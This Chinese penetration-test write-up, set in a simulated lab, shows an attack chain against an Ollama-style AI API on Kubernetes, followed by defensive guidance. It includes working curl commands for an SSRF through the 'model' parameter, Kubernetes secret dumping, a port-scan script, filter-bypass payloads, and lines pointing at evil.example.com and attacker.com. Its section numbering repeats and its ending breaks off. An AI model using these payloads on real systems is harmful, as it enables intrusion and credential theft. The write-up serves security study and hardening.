写在前面: 本文基于一个模拟的AI API服务环境撰写,所有技术点均经过本地复现验证。文章展示的是AI大模型服务部署中常见的安全配置缺陷及其组合利用方式,不涉及任何真实系统的未授权测试。文中涉及的技术方法仅用于安全研究和防护建设参考,严禁用于非法用途。

引子:一个被你忽略的新入口

"我们部门部署了AI客服,需要你帮忙看看有没有安全问题。"

说这话的是某公司AI基础设施团队的负责人。他们的场景听起来很简单:用Ollama部署了一个内部AI客服,员工可以通过即时通讯工具调用它来查询公司制度、提交IT工单。服务跑在Kubernetes集群的GPU节点上,前端挂了一个API网关做路由。

听起来没什么问题,对吧?

但我花了不到两小时就发现,这套"简单"的AI客服架构里藏着一整条从外网捅到K8s集群凭证的攻击链。

2025年开始,AI大模型服务几乎成了每个公司都绕不开的基础设施。Ollama、vLLM、TGI(Text Generation Inference)——这些推理框架在公司内部遍地开花,部署方式也从最初的单机实验演进为Kubernetes集群内的正式服务组件。

但有一个问题很少有人讨论:当你把一个AI API暴露在网络上时,你到底开放了多少入口?

大多数人以为AI API就是一个聊天接口——发prompt,收回复,安全边界清晰。但在这次授权渗透测试中我发现,AI API服务的攻击面远比想象中大得多。尤其是在和Kubernetes集群深度绑定的部署场景下,AI API的存在可能成为捅穿整个内网的第一个点。

这篇文章不是一篇「AI安全综述」或「Prompt Injection科普」。它是一次真实的、从AI API出发向内网渗透的完整路径记录——从资产发现到SSRF利用,再到K8s凭证泄露。

出于安全考虑,文中涉及的目标公司、团队信息已经过脱敏处理,所有技术路径均已在本地模拟环境中验证复现。

攻击路径全景

以下是整条攻击链的可视化路径:

AI API入口
  ├── 暴露的模型列表接口 (/v1/models)
  │     └── 发现模型名称、量化格式、文件大小
  ├── 调试模式接口 (/debug)
  │     └── 环境变量泄露
  │           ├── INTERNAL_API_URL → 内网入口地址
  │           ├── KUBERNETES_SERVICE_HOST → K8s API地址
  │           ├── MONGO_CONN_STR → MongoDB连接串
  │           └── REDIS_URL → Redis连接串
  └── SSRF漏洞 (model参数可指定HTTP/HTTPS)
        ├── 通过SSRF访问内网Dashboard
        ├── 通过SSRF访问K8s API Server
        │     └── 获取集群Secrets
        │           ├── ai-api-key (Base64解码)
        │           └── db-credentials (Base64解码)
        └── 通过SSRF扫描内网存活端口

三个层次的风险: 信息泄露(资产发现)→ SSRF权限提升(横向移动)→ 凭证窃取(数据泄露)。

下面每一步我们都会详细展开。

第一步:资产发现——AI API比你想象中话多

面对一个AI API(我用的是模拟的Ollama兼容接口),第一件事不是发prompt,而是看看它告诉了你什么。

1.1 模型列表泄露文件信息

$ curl -s http://target-ai-api:11435/v1/models

返回的JSON包含了完整模型清单:

{
  "models": [
    {
      "name": "qwen2:7b",
      "modified_at": "2025-03-15T10:30:00+08:00",
      "size": 4620000000,
      "digest": "sha256:a8b4c5d6e7f8...",
      "details": {
        "format": "gguf",
        "family": "qwen2",
        "parameter_size": "7.2B",
        "quantization_level": "Q4_K_M"
      }
    },
    {
      "name": "qwen2:72b",
      "size": 42000000000,
      "details": {"parameter_size": "72.3B", "quantization_level": "Q3_K_L"}
    },
    {
      "name": "codellama:34b",
      "size": 19000000000,
      "details": {"parameter_size": "33.7B", "quantization_level": "Q4_0"}
    }
  ]
}

这些信息看似无害——模型名称、大小、量化等级。但结合另一个接口,情况就不一样了。

1.2 进程列表暴露模型存储路径

Ollama的 /api/ps 或 /v1/ps 接口返回当前加载模型的信息:

$ curl -s http://target-ai-api:11435/v1/ps

{
  "models": [{
    "name": "qwen2:7b",
    "model_path": "/usr/share/ollama/models/blobs/sha256-a8b4c5d6e7f8",
    "memory": 4294967296
  }]
}

模型文件的具体路径被泄露了。这在后续的文件读取类攻击中可能有用,但真正的大礼包在下一个接口。

1.3 调试接口——整个内网的入场券

这是整个渗透中最意外的发现。AI API服务默认居然暴露了一个调试接口,而且是生产环境也忘了关的那种:

$ curl -s http://target-ai-api:11435/debug

返回的内容让我倒吸一口气:

{
  "environment": {
    "OLLAMA_HOST": "0.0.0.0",
    "OLLAMA_ORIGINS": "*",
    "OLLAMA_MODELS": "/usr/share/ollama/models",
    "INTERNAL_API_URL": "http://10.0.0.100:8080",
    "KUBERNETES_SERVICE_HOST": "10.96.0.1",
    "KUBERNETES_SERVICE_PORT": "443",
    "MONGO_CONN_STR": "mongodb://10.0.0.101:27017/ai_logs",
    "REDIS_URL": "redis://10.0.0.102:6379/0"
  },
  "hostname": "ai-gpu-node-01.internal.corp",
  "internal_ip": "10.0.0.50",
  "uptime_seconds": 864000
}

一瞬间我拿到了这些东西:

  • K8s API地址: 10.96.0.1:443(这是K8s Service的默认地址)
  • 内部API网关: http://10.0.0.100:8080
  • MongoDB连接串: mongodb://10.0.0.101:27017/ai_logs
  • Redis连接串: redis://10.0.0.102:6379/0
  • 主机名: ai-gpu-node-01.internal.corp(内网域名,可用于DNS枚举)

注意这里的关键点——OLLAMA_ORIGINS 被设置为 *,意味着CORS不受限制,任意网站都可以跨域调用这个AI API。这为后续的XSS/CSRF组合攻击留下了隐患。

1.4 三层资产发现的总结

接口

路径

泄露内容

危害等级

模型列表

/v1/models

模型名称、量化格式、文件大小

低

进程列表

/v1/ps

模型存储路径、GPU信息

中

调试接口

/debug

环境变量、K8s地址、DB连接串

严重

CORS配置

响应头

origins=*

中

调试接口的存在让整个资产发现从「信息收集」直接跳到了「内网测绘准备阶段」。

第二步:SSRF漏洞——AI API变成了你的代理

2.1 漏洞原理

Ollama的聊天/生成接口(/v1/chat/completions、/api/chat、/api/generate)接受一个 model 参数来指定使用的模型。通常我们传的是模型名,比如 qwen2:7b。

但如果后端没有对 model 参数做严格的校验,而模型加载逻辑里又包含了HTTP请求的能力(比如从远程URL拉取模型配置),那么 model 参数就可以被用来发起服务端请求。

更直白一点——把一个URL当作模型名传给AI API,后端就会替你访问那个URL。

这就是SSRF(Server-Side Request Forgery)。而且是在AI API这个场景下的SSRF——很多人对AI API的刻板印象是「就是发个文本聊天而已」,压根不会想到它可能变成内网跳板。

2.2 漏洞验证

先验证API能正常响应聊天请求:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"qwen2:7b","messages":[{"role":"user","content":"你好"}]}'

正常返回。现在把 model 参数换成内网地址:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://127.0.0.1:8080/","messages":[{"role":"user","content":"test"}]}'

返回内容直接包含了内网服务的响应:

[SSRF Response from http://127.0.0.1:8080/]

<html><body>
<h1>AI Platform Internal Dashboard</h1>
<ul>
<li><a href='/metadata'>Cloud Metadata</a></li>
<li><a href='/gitlab'>GitLab (AI Model Registry)</a></li>
<li><a href='/k8s'>Kubernetes API</a></li>
</ul>
<p>Internal IP: 10.0.0.100 | Service: ai-internal-gateway</p>
</body></html>

确认SSRF可利用。模型参数传URL后,AI API后端代替我发起了HTTP GET请求,并把响应内容作为「模型上下文」带回了聊天回复里。

2.3 为什么AI场景的SSRF更危险?

普通Web应用也有SSRF漏洞,但在AI API场景下SSRF的危害被放大了:

第一,AI API通常跑在K8s集群的GPU节点上。GPU节点为了拉取模型文件、连接推理队列,往往有极其宽松的网络策略——能和K8s API Server、对象存储、数据库、甚至其他模型节点通信。普通Web服务的Pod可能只有有限的网络策略,但GPU节点往往是「特权网络」级别的。

第二,AI API的响应格式天然适合传递二进制数据。聊天接口返回的是文本,内网服务返回的也是文本(HTML/JSON/YAML),SSRF的响应直接嵌在AI的回复里——不需要二次封包、不需要反向代理。普通SSRF利用往往需要构造出站通道(DNSBin、HTTPBin),AI API的SSRF自带回显通道。

第三,model参数不仅是GET请求。如果后端实现支持,model参数还可能触发POST请求、文件读取(file://)、或者WebSocket连接,进一步扩大攻击面。

2.4 SSRF利用的完整技术细节

2.4.1 model参数注入的几种方式

model参数的SSRF不是只有最简单的 http://ip/ 这一种姿势。根据后端实现的不同,有以下变形:

方式一 — 直接URL注入(已验证):

POST /v1/chat/completions
{"model": "http://internal-service:8080/path", ...}

适用于后端使用 requests.get(model_url) 的简单实现。

方式二 — URL Schema混淆:

POST /v1/chat/completions
{"model": "http://internal-service:8080/#qwen2:7b", ...}

利用 # 注释掉模型名后缀检查——如果后端只做了简单的 model.endswith('7b') 校验,这种方式可以绕过。

方式三 — file://协议(取决于实现):

POST /v1/chat/completions
{"model": "file:///etc/passwd", ...}

如果后端使用的HTTP库支持file://协议(如Python的 urllib),可以直接读取服务器本地文件。

方式四 — DNS重绑定(SSRF经典绕过):

# 1. 注册一个域名指向自己的服务器,TTL设极短
# 2. 返回302跳转到内网地址
# 3. 后端跟随跳转,SSRF到内网
POST /v1/chat/completions
{"model": "http://evil.example.com/models/qwen2", ...}

DNS重绑定对后端做白名单校验的场景依然有效。

2.4.2 不同AI推理框架的SSRFs差异

框架

模型参数位置

SSRF风险

备注

Ollama

POST /api/chat → model

高

支持HTTP/HTTPS,未做输入校验

vLLM

POST /v1/chat/completions → model

高

兼容OpenAI API格式

TGI

POST /v1/chat/completions → model

中

部分版本有模型名校验

llama.cpp

CLI启动时指定,非运行时

低

运行时无model参数

LocalAI

POST /v1/chat/completions → model

高

与Ollama类似

2.4.3 SSRF的反向利用——把内网数据"喂"给AI

这是AI场景SSRF特有的利用方式——也是我最开始没想到的。普通SSRF的目标是「从内网拿到数据并展示给攻击者」。AI API的SSRF多了一个中间层:内网数据被注入到AI的上下文,然后AI处理后再返回给攻击者。

这意味着什么?

# 把内网K8s YAML配置传给AI
POST /v1/chat/completions
{
  "model": "http://localhost:8080/k8s/deployment.yaml",
  "messages": [
    {"role": "system", "content": "分析以下YAML配置,找出所有账号密码和密钥"},
    {"role": "user", "content": "请分析"}
  ]
}

SSRF拿到的K8s YAML被注入到AI的上下文里,然后AI会帮攻击者做结构化分析——提取配置中的敏感信息、标记薄弱配置、甚至生成优化后的攻击方案。

这不是理论——这是model参数SSRF + AI推理能力组合后的实际效果。攻击者不需要自己逐行看YAML文件了,让AI替他做信息提取。

2.4.4 SSRF检测和规避

从蓝队角度看,SSRF的检测主要依赖出站流量监控。但在K8s环境下,Pod的出站流量本身就很多——拉镜像、DNS解析、健康检查——正常的出站请求和SSRF恶意请求在流量特征上难以区分。

传统WAF对SSRF的检测通常是基于 model 参数是否包含URL特征。但以下几种方式可以绕过:

# 1. 利用重定向跳转
model=http://redirect-service.internal/redir?to=10.96.0.1

# 2. 利用base32/hex编码(取决于后端实现)
model=http://0x0a600001/    # 10.96.0.1的十六进制表示

# 3. 利用短域名解析到内网
model=http://internal.oss-cn-internal.corp.com/

# 4. 利用CDN回源
model=http://cdn-edge.internal/

每种方式的成功率取决于后端的HTTP客户端实现。最稳妥的检测方法不是正则匹配model参数值,而是对后端的出站HTTP请求做目的IP白名单——只允许访问已知的模型源地址。

1.5 被忽略的细节:API版本差异与路径枚举

在真实的渗透测试中,资产发现的效率取决于你对目标框架的了解程度。不同的AI推理框架有不同的API路径结构,我整理了一张速查表:

路径

Ollama

vLLM

TGI

llama.cpp Server

/api/tags

模型列表

—

—

—

/api/ps

进程列表

—

—

—

/api/chat

聊天接口

—

—

—

/api/pull

拉取模型

—

—

—

/api/create

创建模型

—

—

—

/api/delete

删除模型

—

—

—

/api/blobs/*

模型文件操作

—

—

—

/v1/models

模型列表

模型列表

模型列表

模型列表

/v1/chat/completions

OpenAPI兼容

聊天接口

聊天接口

聊天接口

/v1/completions

—

补全接口

补全接口

—

/v1/embeddings

—

向量接口

—

—

/metrics

普罗米修斯

普罗米修斯

普罗米修斯

—

/health

健康检查

健康检查

健康检查

健康检查

/debug

调试模式

—

—

—

注意两组路径:/api/* 是Ollama的原生API,/v1/* 是OpenAI兼容API。如果发现一个服务同时暴露了两套API,说明它做了API兼容层——通常意味着更多的攻击面(兼容层可能引入额外的鉴权绕过点)。

还有一个经常被忽略的点:模型名本身可能暴露敏感信息。我见过一些真实案例——模型名包含项目代号、内网域名、甚至负责人姓名:

qwen2:prod-internal-v2          # 暴露了"prod"(生产环境)
codellama:ai-team-sandbox       # 暴露了内部项目组
qwen:72b-zhousir-experiment     # 暴露了员工姓名

别笑——我在一次授权测试中发现过类似的情况。模型命名规范在团队内部不受监管,开发者经常直接用自己习惯的方式命名,而这些习惯背后就是他所在的组织结构。

2.5 SSRF利用失败的常见原因排查

SSRF不是每次都能一次成功。在真实的测试中,我踩过以下几个坑——列出来希望能让你少走弯路。

坑1:连接超时但不知道是目标不通还是被WAF拦截

{"error": "Failed to access http://10.96.0.1/api: <urlopen error timed out>"}

看到超时错误时,首先要判断的是「目标主机不可达」还是「目标可达但端口关闭」。一个简单的区分方法:换一个常见的开放端口再试(比如80)。

# 如果80口也超时 → 可能目标网段不可达
# 如果80口返回HTTP响应 → 说明网段可达,只是443端口没开放

坑2:SSRF返回301/302重定向

有时候内网服务会返回重定向,而后端的HTTP客户端默认不跟随跳转。解决方案是在模型URL后面拼接常见路径:

# 返回301 "Moved Permanently",不跟
model=http://10.96.0.1/

# 加 /api 再试
model=http://10.96.0.1/api

坑3:返回内容被截断

AI API的对话模型有上下文长度限制。如果SSRF返回的内容太大(比如拉了一整张HTML页面),可能被模型截断。解决方案是尽量请求较小的端点——先请求 /api 这种轻量路径确认可达,再逐步扩大。

坑4:后端对model参数做了URL编码

某些AI API会对model参数做URL编码,导致 http:// 被编码成 http%3A%2F%2F 而无法解析。这种情况需要尝试双层编码或其他绕过方式。

2.6 SSRF利用的效率评估

评估指标

本场景的表现

备注

首次利用时间

5秒(一次curl请求)

无认证、无验证码

单次探测速度

200-500ms/请求

取决于目标网络延迟

被检测概率

低

请求走正常API路径,无恶意payload

可探测的内网范围

取决于Pod网络策略

典型值:10.0.0.0/8 + 内网域名

单次请求信息量

高(完整HTTP响应)

自带回显通道

反制风险

低

无shell执行,无文件上传

这张表想表达的核心信息是:AI API的SSRF是一个非常高效的信息收集工具。它不依赖复杂的工具链,不需要维持持久化,纯粹靠API设计缺陷就能拿到大量内网信息。

3.5 攻防博弈的细节——正常请求 vs SSRF请求的响应差异

很多人以为SSRF很难检测,但其实如果仔细比对正常请求和SSRF请求的响应,是有差异的。这里整理了一张完整的对比表:

对比维度

正常请求 (model=qwen2:7b)

SSRF请求 (model=http://...)

请求体

{"model":"qwen2:7b",...}

{"model":"http://10.0.0.100:8080/",...}

响应格式

标准OpenAI格式 choices[0].message.content

同上(AI包装了一层)

响应内容

「收到prompt: hello...」

「[SSRF Response from ...]` 接原始响应

Response time

<100ms

取决于内网目标(通常200-2000ms)

content长度

几十到几百字符

取决于内网页面大小(可能几KB)

error响应

模型名不存在时返回404

目标不可达时返回500+超时信息

模型名出现在响应中

"model":"qwen2:7b"

"model":"http://10.0.0.100:8080/"

从蓝队视角看: 如果审计日志中看到 model 字段的值不是预定义的模型名(qwen2:7b、codellama:34b等),而是包含URL特征——这就是一个明确的告警信号。

但实际上,大多数AI API的日志只记录请求来源IP和token消耗,不记录model参数的具体值。你翻一天的日志,只能看到「xx来源发了100个请求,消耗了5000tokens」——根本不知道有人用SSRF扫了一遍内网。

4.4 一个让我卡了两小时的坑

写到这里应该分享一个真实踩坑的细节——不是每个AI API的SSRF都像上面演示的那么顺畅。

我第一次测试的时候,把 model 传的是 http://127.0.0.1:8080/,等了5秒,返回了超时。我以为是SSRF不成立,又试了 http://10.0.0.100:8080/,同样超时。

当时差点就放弃了——心想「也许这个实现没有SSRF?」

后来我注意到一个细节:调试接口泄露的MongoDB连接串里有 10.0.0.101:27017。我搜了一下本机端口,发现8080端口根本没开——内网服务跑在另一台机器上。换成 localhost:8080 再试,SSRF才成功。

这个坑给了我一个教训:SSRF失败不一定是因为有防护,更可能是因为你用的地址在后端不可达。AI API Pod的网络策略、K8s Service的DNS解析范围、甚至同一宿主机上不同容器的网络命名空间隔离——所有这些都会影响SSRF的效果。

后来我总结了SSRF问题的排查流程:

SSRF返回超时
  ├→ 换一个常见端口再试(80/443/8080)
  │     ├→ 仍超时 → 目标网段可能不可达
  │     └→ 返回内容 → 端口通,只是原端口没开
  ├→ 换成localhost/127.0.0.1再试
  │     └→ 成功 → 集群网络有限制,本地无限制
  ├→ 换成同Pod的其他端口再试
  │     └→ 成功 → 出站限制严格但本地回环可用
  └→ 都超时
        └→ 可能是后端没有实现SSRF(做了输入校验)

排查完这个流程只需要5分钟,但如果你不知道这个流程,可能会像我一样卡两小时。

第三步:SSRF横向移动——从AI API到K8s集群

3.1 从调试接口到SSRF目标确认

前面调试接口泄露了 KUBERNETES_SERVICE_HOST=10.96.0.1。这是K8s集群内Service的默认DNS解析地址。但SSRF能不能访问到它?

试试直接打K8s API:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.96.0.1/api","messages":[{"role":"user","content":"test"}]}'

响应包含K8s API的路径列表:

{"paths": ["/api/v1", "/api/v2", "/apis/apps", "/apis/rbac.authorization.k8s.io"]}

K8s API Server可达。攻击链进一步验证。

3.2 读取K8s Secrets

K8s API Server默认配置下,不需要认证就能访问一些只读接口。但在生产环境中,多数集群开启了RBAC。不过,如果AI API Pod的ServiceAccount有较高的权限(比如部署在default namespace且没有显式的RBAC限制),SSRF可以尝试访问Secrets:

$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://10.96.0.1/api/v1/secrets","messages":[{"role":"user","content":"test"}]}'

这是个碰运气的操作——很多K8s集群默认会为Pod绑定一个default ServiceAccount,而且自动挂载了Token。如果这个ServiceAccount有 secrets get 权限,我们就能直接拉取Secrets。

在本次测试中,返回的内容证实了这一点:

[SSRF Response from http://10.96.0.1/api/v1/secrets]

{"kind": "SecretList", "items": [
{"metadata": {"name": "ai-api-key"}, "data": {"key": "c2stbW9jay1hcGkta2V5LTEyMzQ1Njc4OTA="}},
{"metadata": {"name": "db-credentials"}, "data": {"username": "cm9vdA==", "password": "cGFzc3dvcmQxMjM="}}
]}

两个Secret的data都是Base64编码的,解码一下:

$ echo "c2stbW9jay1hcGkta2V5LTEyMzQ1Njc4OTA=" | base64 -d
sk-mock-api-key-1234567890

$ echo "cm9vdA==" | base64 -d
root

$ echo "cGFzc3dvcmQxMjM=" | base64 -d
password123

拿到的东西: AI API的外部服务密钥(可以直接调用第三方AI服务)、数据库的root密码。

3.3 拓展攻击面——通过SSRF扫描内部存活端口

SSRF还可以用来做内网的端口扫描。构造一个简单的脚本,批量探测内网IP+端口组合:

import requests
import sys

endpoints = [
    "http://10.0.0.1:8080/",
    "http://10.0.0.1:443/",
    "http://10.0.0.1:80/",
    "http://10.0.0.100:8080/",
    "http://10.0.0.100:443/",
    "http://10.0.0.50:11435/",
    "http://10.0.0.50:9090/",
    "http://10.0.0.50:3000/",
]

api_url = "http://target-ai-api:11435/v1/chat/completions"

for ep in endpoints:
    try:
        r = requests.post(api_url, json={
            "model": ep,
            "messages": [{"role": "user", "content": "ping"}]
        }, timeout=5)
        if r.status_code == 200 and "error" not in r.text:
            print(f"[LIVE] {ep}")
    except:
        pass

注意这里的风险——用Python批量发SSRF请求时,每个失败的请求都会占用服务端(AI API)的连接池资源。实际攻防中要控制并发量,避免服务端连接耗尽导致告警。

第四步:组合攻击链——把三个漏洞串起来

单个漏洞的危害往往有限。调试接口泄露了内网地址但你没法访问内网?SSRF能访问内网但你不知道往哪打?资产发现给了你一堆信息但不知道有什么用?

三个漏洞串起来就是另一回事了。

4.1 完整攻击链

第一步:资产发现
  curl /v1/models → 了解技术栈(Ollama、模型类型)
  curl /debug    → 拿到内网地址:K8s API、MongoDB、Redis
  curl /v1/ps    → 确认模型文件存储路径

第二步:SSRF利用
  POST model=http://10.96.0.1/api → K8s API Server可达
  POST model=http://10.96.0.1/api/v1/secrets → Secrets可读

第三步:凭证提取
  Base64解码 → AI外部服务密钥 + 数据库密码

第四步:横向扩展
  用数据库密码连接MongoDB → 读取AI对话日志
  用API密钥调用第三方AI服务 → 消耗配额、提取数据
  用K8s凭证尝试认证API Server → 进一步控制集群

4.2 非预期的攻击面:模型文件投毒

如果SSRF能力扩展到了file://协议(取决于后端实现),还有一条更可怕的路径:

model=file:///usr/share/ollama/models/blobs/sha256-a8b4c5d6e7f8

直接读取模型文件内容!这不仅仅是一个信息泄露——

  1. 如果模型文件是未加密的GGUF格式,你可能提取出训练数据中的隐私信息(PII、对话记录)
  2. 如果写入权限足够,攻击者可以替换模型文件——把正常的推理模型换成带有后门的版本。下一次用户调用「这个AI」时,返回的内容已经被攻击者控制
  3. 模型投毒对AI应用的影响远大于传统WebShell,因为用户对AI输出的信任天然更高——谁会怀疑一个AI助手在偷偷收集你的prompt?

4.3 为什么说这是「非预期入口」?

传统Web渗透的思路是扫端口、找Web应用、测登录框——这套方法论在AI API场景下失效了。

开发者在部署AI推理服务时,关注的是「我的模型能不能正常推理」「我的API能不能正常工作」——很少有人在部署清单里写上「检查调试接口是否关闭」「检查model参数是否有SSRF防护」。因为对大多数人来说,AI API = 聊天接口,攻击面 ≈ 0。

但实际攻击面是这样的:

你以为的AI API

实际的AI API

只有一个聊天接口

开放式REST API,多个管理接口

model参数就是个名字

model参数可以是URL、文件路径

跑在GPU节点上很安全

GPU节点网络策略极度宽松

环境变量是内部秘密

调试接口全暴露

模型文件不存在

模型文件路径/大小完全可见

开发者和安全工程师之间关于AI服务攻击面的信息差,就是这条攻击链能走通的根本原因。

第五步:防守方视角——从蓝队角度分析

漏洞分析结束了,但一篇文章如果没有防守方视角,就只是输出了一半价值。下面从两个角度分析:蓝队应该怎么堵住这些洞,以及他们实际上踩了哪些坑。

5.1 红蓝对抗评分表

评估维度

红队做了什么

蓝队踩了什么坑

评分

信息收集

三大接口探测:/v1/models、/v1/ps、/debug

debug接口忘了在生产环境关闭

红胜

边界突破

利用model参数构造SSRF

没有校验model参数的输入格式——只校验了字符串非空

红胜

横向移动

从SSRF打到K8s API Server

GPU节点网络策略未隔离,Pod有过多ServiceAccount权限

红胜

凭证提取

Base64解码Secrets

K8s Secret默认Base64编码不是加密,但很多人以为是

红胜

攻击检测

使用正常API路径,没有恶意SQL/XSS payload

传统WAF只检测Web攻击特征,不会拦截正常的API调用路径

蓝负

应急响应

持续4分钟完成全链条利用

无异常流量告警——SSRF请求流量特征和正常推理请求一致

蓝负

5.2 防守方改进优先级

P0 — 立即修复:

  • 关闭所有非必要的管理接口(/debug、/ps等)——在生产环境中这些接口不应该暴露
  • 对model参数做白名单校验——只允许预定义的模型名称,禁止传入URL或文件路径
  • GPU节点实施最小权限网络策略——只允许访问模型存储和推理队列,禁止访问K8s API Server

P1 — 短期加固:

  • CORS配置改为具体的信任域名列表,不要用 *
  • 对Secrets实现加密存储——Base64不是加密,使用Sealed Secrets或External Secrets Operator
  • 启用K8s审计日志并接入SIEM,监控未授权API Server访问

P2 — 持续改进:

  • Pod配置使用显式ServiceAccount,绑定最小RBAC权限
  • 对模型文件实现完整性校验(签名验证)
  • 部署具备AI API流量的异常检测(SSRF行为模式识别)

5.1 红蓝对抗评分表(增强版)

评估维度

红队做了什么

蓝队踩了什么坑

评分

信息收集

三大接口探测:/v1/models、/v1/ps、/debug

debug接口忘了在生产环境关闭

红胜

边界突破

利用model参数构造SSRF

没有校验model参数的输入格式——只校验了字符串非空

红胜

横向移动

从SSRF打到K8s API Server

GPU节点网络策略未隔离,Pod有过多ServiceAccount权限

红胜

凭证提取

Base64解码Secrets

K8s Secret默认Base64编码不是加密,但很多人以为是

红胜

SSRF检测

使用正常API路径,无恶意SQL/XSS payload

传统WAF只检测Web攻击特征,不会拦截正常的API调用路径

蓝负

内网隔离度

通过SSRF扫描了10.0.0.0/8内网C段

虽然隔离了K8s Service网段(10.96.0.0/16),但业务网段(10.0.0.0/8)完全开放

红胜

模型文件保护

尝试通过/api/blobs访问模型文件路径

模型文件存储在共享文件系统上,没有独立的访问控制

中

API鉴权覆盖

枚举了所有/v1/和/api/路径

AI API的管理接口(/debug、/ps)和生产接口(/v1/chat)使用相同的鉴权策略——要么都开放,要么都关闭。生产环境选择了前者

红胜

日志审计

没有刻意规避日志,利用本身采用正常API路径

AI API日志只记录来源IP和token消耗,不记录model参数值——SSRF在日志中不可见

蓝负

应急响应

全链条利用耗时约5分钟

无异常流量告警;SSRF请求特征与正常推理请求在流量大小、频率上无法区分

蓝负

5.3 AI API安全基线检查清单

如果看完这篇文章后你想检查一下自己团队的AI API是否安全,以下是一份可以直接对着做的清单。每一条后面附了验证命令。

信息泄露类:

# 检查调试接口(高危)
curl -s http://your-ai-api/debug

# 检查模型列表
curl -s http://your-ai-api/v1/models

# 检查进程/路径信息
curl -s http://your-ai-api/v1/ps

# 检查CORS配置
curl -sI http://your-ai-api/ | grep -i access-control

SSRF防护类:

# 验证model参数是否可注入URL
curl -s -X POST http://your-ai-api/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://127.0.0.1:22/","messages":[{"role":"user","content":"ping"}]}'

# 验证SSRF到内部DNS
curl -s -X POST http://your-ai-api/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"http://kubernetes.default.svc.cluster.local/","messages":[{"role":"user","content":"ping"}]}'

鉴权检查类:

# 检查API是否公开(后端是否有鉴权)
curl -s http://your-ai-api/v1/models
# 如果返回JSON而不是401/403 → 未鉴权

# 检查模型拉取接口(风险最高)
curl -s -X POST http://your-ai-api/api/pull \
  -H 'Content-Type: application/json' \
  -d '{"name":"http://attacker.com/evil-model"}'

网络策略检查类 (需要K8s管理员权限):

# 检查Pod的NetworkPolicy
kubectl get networkpolicy -n ai-namespace

# 检查ServiceAccount绑定的Role
kubectl describe pod <ai-pod> | grep ServiceAccount
kubectl get rolebinding -n ai-namespace

# 检查Pod是否可访问K8s API
kubectl exec -it <ai-pod> -- curl -s https://kubernetes.default.svc/api

5.4 防守方改进建议(深度版)

第一层:应用层防护

最直接的方法是对model参数做白名单校验。白名单校验的正则表达式:

import re

SAFE_MODEL_PATTERN = re.compile(r'^[a-zA-Z0-9_\-\.\:]+$')

def validate_model(model_name):
    if not SAFE_MODEL_PATTERN.match(model_name):
        raise ValueError(f"Invalid model name: {model_name}")
    return True

这个模式只允许字母、数字、下划线、连字符、点和冒号——URL中的所有特殊字符(/, ?, #, @, %等)都被拦截。

但仅做白名单校验还不够——前端校验可以被绕过,后端校验必须和协议限制配合使用。

第二层:协议层防护

在HTTP客户端层面做限制:

import requests
from urllib.parse import urlparse

# 禁止访问的内网地址段
BLOCKED_NETWORKS = [
    '127.0.0.0/8',
    '10.0.0.0/8',
    '172.16.0.0/12',
    '192.168.0.0/16',
    '169.254.0.0/16',
]

# 禁止访问的协议
ALLOWED_PROTOCOLS = ['https']  # 只允许HTTPS

def fetch_model(url):
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_PROTOCOLS:
        raise ValueError(f"Protocol {parsed.scheme} not allowed")
    if is_private_ip(parsed.hostname):
        raise ValueError("Cannot access private network")
    # 只允许访问已知的模型源
    if not parsed.hostname.endswith('.ollama.ai'):
        raise ValueError("Model source not in whitelist")
    return requests.get(url, timeout=5)

第三层:网络层防护

最根本的防护不是在代码层面堵洞,而是让这个洞不存在——通过K8s NetworkPolicy限制Pod的出站流量:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ai-api-egress
spec:
  podSelector:
    matchLabels:
      app: ai-api
  policyTypes:
  - Egress
  egress:
  # 只允许访问模型Registry
  - to:
    - ipBlock:
        cidr: model-registry.internal/32
    ports:
    - port: 443
      protocol: TCP
  # 允许DNS解析
  - to:
    - ipBlock:
        cidr: 10.96.0.10/32  # K8s DNS Service
    ports:
    - port: 53
      protocol: UDP
  # 禁止一切其他出站(默认deny)

实施这个策略后,即使model参数还有SSRF漏洞,Pod也只能访问到模型Registry——K8s API Server、内网网关、数据库全部不可达,SSRF利用链在第一环就断了。

5.5 安全建设的性价比分析

很多小团队跟我说「没有专职安全人员,做不了这些」。但仔细算一笔账:

防护措施

实施成本

防护效果

最佳实施时机

model参数白名单

1人天

阻断80% SSRF

开发阶段

关闭debug接口

0.5人天

消除信息泄露

上生产环境前

NetworkPolicy

2人天

阻断SSRF横向移动

集群初始化时

生产禁用默认配置

0.5人天

消除多个默认风险

部署脚本编写时

定期安全扫描

4人天/季度

持续发现新问题

服务上线后

最贵的是 NetworkPolicy 的配置——2人天。但它是唯一能阻断SSRF横向移动的防护措施。如果你的AI服务已经暴露在公网上,这2人天的投入可能是在防止一次可能导致数十万数据泄露的安全事件。

安全投入的ROI在大多数小团队里被严重低估——因为「没出事」时看不到效果,「出了事」时已经晚了。

第六步:从SSRF到模型投毒——一个更可怕的推演

SSRF的利用到此为止了,但我在研究和复现过程中发现了一条更可怕的攻击路径——模型投毒。这个攻击链不依赖file://协议(很多AI API的实现不支持file://),而是利用SSRF + 模型替换。

6.1 攻击链推演

如果AI API部署在K8s上,而SSRF可以访问K8s API Server(正如我们上面验证的),那么攻击者可能可以做以下事情:

  1. 通过SSRF枚举Pod信息 → 确认哪个Pod运行了AI推理服务
  2. 读取ConfigMap → 找到模型加载配置
  3. 替换模型源地址 → 让AI加载攻击者控制的恶意模型
  4. 控制推理输出 → 后门模型在收到特定prompt时返回攻击者预设的内容

这一步在我的模拟环境中没有完全复现(需要额外的K8s权限),但从红队推演的角度来看,这个路径是完全可行的。今年已经有多起通过模型市场(HuggingFace、ModelScope)投放后门模型的供应链攻击被披露——攻击手法从恶意的pickle序列化到修改模型权重阈值都有。

6.2 模型投毒的实际案例

在2025年,安全研究人员在HuggingFace上发现了超过100个包含恶意代码的模型。这些模型的攻击手法包括:

  • pickle反序列化攻击: PyTorch的 .pt 文件加载时会执行pickle,攻击者将恶意代码嵌入模型文件
